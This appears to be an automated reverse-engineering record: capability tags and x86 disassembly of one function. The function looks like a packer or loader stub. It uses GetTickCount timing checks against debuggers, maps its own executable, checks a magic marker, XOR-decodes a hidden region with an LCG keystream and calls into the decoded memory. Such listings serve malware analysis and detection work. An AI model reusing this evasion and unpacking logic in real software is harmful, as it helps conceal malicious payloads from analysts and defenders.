Function at 0x4041b9
Capabilities:
Check for time delay via gettickcount
Encode data using xor
Generate random numbers using the delphi lcg
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xce4
push ebx
push esi
push edi
call fcn.00403d85
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
and eax, 0x11
mov ebx, 0x405010
cmp eax, 0x111
je 0x404606
call esi
mov dword [0x40500c], eax
call fcn.00403e41
mov ecx, eax
sub ecx, dword [0x40500c]
push 3
xor edx, edx
mov eax, ecx
pop esi
div esi
test ecx, 0xffff8000
jne 0x4044b7
xor eax, eax
xor edi, edi
mov dword [esp + 0x8d4], edi
mov word [esp + 0x4c0], ax
mov dword [esp + 0x4bc], edi
mov word [esp + 0xa8], ax
call fcn.00403e41
mov ecx, eax
sub ecx, dword [0x40500c]
xor edx, edx
mov eax, ecx
div esi
test ecx, 0xffff8000
jne 0x40439f
push 0x4010bc
lea eax, [esp + 0x8dc]
call fcn.004049ac
push 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [esp + 0x8dc]
call fcn.004048f0
mov esi, dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov eax, ecx
push eax
push edi
push 4
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], edi
call esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0xc], eax
cmp dword [esp + 0x10], edi
je 0x404351
push edi
push edi
push edi
push 4
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x30], eax
cmp eax, edi
je 0x4046fc
push 0x401198
lea eax, [esp + 0x8dc]
call fcn.00404990
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 0x210]
push 0x10
lea ecx, [esp + 0x8dc]
call fcn.004048f0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x8d8]
push eax
push edi
push 4
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
call esi
mov dword [esp + 0xc], eax
cmp dword [esp + 0x10], edi
je 0x404725
push edi
push edi
push edi
push 4
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x34], eax
cmp eax, edi
je 0x40471c
add eax, 0xc
push eax
lea eax, [esp + 0x4c4]
call fcn.00404990
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404381
cmp eax, 2
jne 0x404877
push 0x104
lea eax, [esp + 0x4c4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x4c0]
call fcn.004048df
mov dword [esp + 0x8d4], eax
call fcn.00403e41
mov ecx, eax
sub ecx, dword [0x40500c]
push 3
xor edx, edx
mov eax, ecx
pop esi
div esi
test ecx, 0xffff8000
je 0x4043a6
cmp edx, edi
jmp 0x4044b9
lea eax, [esp + 0x4c0]
push eax
lea esi, [esp + 0xac]
call fcn.00404956
push 0x401210
call fcn.00404956
push edi
push edi
push 3
push edi
push 7
push 0x80000000
lea eax, [esp + 0x4d8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x40472f
call fcn.00403dbe
test eax, eax
jne 0x4041ef
xor edi, edi
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x1c], eax
cmp eax, edi
je 0x40473c
mov esi, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x1000
push edi
push edi
push 4
push eax
call esi
mov dword [esp + 0x14], eax
cmp eax, edi
je 0x404749
mov edi, eax
call fcn.00403df4
push dword [esp + 0x14]
mov edi, eax
mov dword [esp + 0x30], edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea eax, [esp + 0x74]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x404756
xor eax, eax
cmp dword [esp + 0x94], eax
jne 0x40447a
cmp dword [esp + 0x98], edi
jbe 0x4048d8
add edi, 0x1000
push edi
push eax
push eax
push 4
push dword [esp + 0x2c]
call esi
mov esi, eax
mov dword [esp + 0x14], esi
test esi, esi
je 0x404763
call fcn.00403e41
mov ecx, eax
sub ecx, dword [0x40500c]
push 3
xor edx, edx
mov eax, ecx
pop edi
div edi
test ecx, 0xffff8000
je 0x4044cd
test edx, edx
je 0x404820
cmp edx, 1
je 0x4041ef
jmp 0x404606
mov edi, esi
call fcn.00403df4
add eax, esi
mov ecx, dword [eax]
mov dword [esp + 0xc], eax
lea esi, [eax + 4]
cmp ecx, 0x6d7678
jne 0x404770
mov eax, dword [esi]
add esi, 4
cmp eax, 1
jne 0x404786
mov eax, dword [esi]
mov edi, eax
imul edi, edi, 0x8088405
add esi, 4
mov ecx, dword [esi]
inc edi
mov edx, edi
xor edx, eax
add esi, 4
cmp edx, ecx
jne 0x40479c
mov ecx, dword [esi]
mov eax, edi
imul eax, eax, 0x8088405
inc eax
mov edx, eax
xor edx, edi
add esi, 4
cmp edx, ecx
jne 0x4047b2
mov ecx, dword [esi]
imul eax, eax, 0x8088405
push dword [esp + 0x14]
inc eax
xor ecx, eax
imul eax, eax, 0x8088405
add esi, 4
inc eax
xor eax, dword [esi]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push eax
push eax
push eax
push 8
push eax
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x4047c8
sub esi, dword [esp + 0xc]
mov ecx, dword [esp + 0x20]
add esi, 4
add ecx, esi
add ecx, dword [esp + 0x2c]
mov dword [esp + 0x38], esi
push ecx
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
mov dword [esp + 0x14], eax
cmp eax, ecx
je 0x4047d8
mov eax, dword [esp + 0x2c]
add eax, esi
add eax, dword [esp + 0x14]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x28], eax
cmp esi, ecx
jbe 0x4045e1
imul edi, edi, 0x343fd
add edi, 0x269ec3
mov edx, edi
shr edx, 0x10
xor byte [eax], dl
inc eax
dec esi
jne 0x4045ca
lea esi, [esp + 0x3c]
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x40], ecx
mov dword [esp + 0x3c], ecx
call fcn.00403d10
test eax, eax
jne 0x4047e8
push 4
push 0x1000
push dword [esp + 0x2c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
call fcn.00403e41
mov ecx, eax
sub ecx, dword [0x40500c]
push 3
xor edx, edx
mov eax, ecx
pop edi
div edi
test ecx, 0xffff8000
je 0x40464b
test edx, edx
je 0x404820
cmp edx, 1
jne 0x404606
jmp 0x4041ef
mov eax, dword [esp + 0x20]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x4c], esi
call fcn.00402e20
pop ecx
cmp eax, 1
jne 0x4047fe
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00403e41
mov ecx, eax
sub ecx, dword [0x40500c]
push 3
xor edx, edx
mov eax, ecx
pop edi
div edi
test ecx, 0xffff8000
jne 0x4044b7
push esi
call fcn.00403f08
mov dword [esp], 0x8000
push dword [esp + 0x28]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test edi, edi
je 0x4048b5
push edi
call fcn.00403e6e
pop ecx
mov dword [esp + 0xc], eax
test eax, eax
jne 0x404814
push 0x401108
mov eax, ebx
call fcn.00404990
push 0x401344
jmp 0x4048ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x4010f0
lea esi, [esp + 0xac]
mov edi, eax
call fcn.00404956
mov eax, edi
jmp 0x40488c
call esi
push 0x4011d4
jmp 0x404707
push 0x4011e8
jmp 0x40487c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x401218
jmp 0x404707
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x401264
jmp 0x404707
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x401278
jmp 0x404707
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x40128c
jmp 0x404707
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x4012a0
jmp 0x404707
push 0x401108
mov eax, ebx
call fcn.00404990
push 0x4012b4
jmp 0x4048ae
push 0x401108
mov eax, ebx
call fcn.00404990
push 0x4012c4
jmp 0x4048ae
push 0x401108
mov eax, ebx
call fcn.00404990
push 0x4012d4
jmp 0x4048ae
push 0x401108
mov eax, ebx
call fcn.00404990
push 0x4012e4
jmp 0x4048ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x4012f4
jmp 0x404707
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x401308
jmp 0x404707
push 0x401108
mov eax, ebx
call fcn.00404990
push 0x40131c
jmp 0x4048ae
push 0x401108
mov eax, ebx
call fcn.00404990
push 0x40132c
jmp 0x4048ae
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x28], eax
xor edi, edi
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
cmp esi, edi
jne 0x404848
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x401354
jmp 0x404707
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x34]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x3c]
push dword [esp + 0x34]
add eax, ecx
add eax, dword [esp + 0x34]
push eax
push esi
push dword [esp + 0x38]
call dword [esp + 0x20]
add esp, 0x14
jmp 0x4048d8
push 0x4011fc
lea esi, [esp + 0xac]
call fcn.00404956
mov eax, dword [esp + 0xc]
push 0xa
lea ecx, [esp + 0xac]
call fcn.004048f0
push 0x401108
mov eax, ebx
call fcn.00404990
lea eax, [esp + 0xa8]
push eax
mov esi, ebx
call fcn.00404956
push 0x401368
push 0x401374
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10
push 0x401390
push ebx
push 0
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret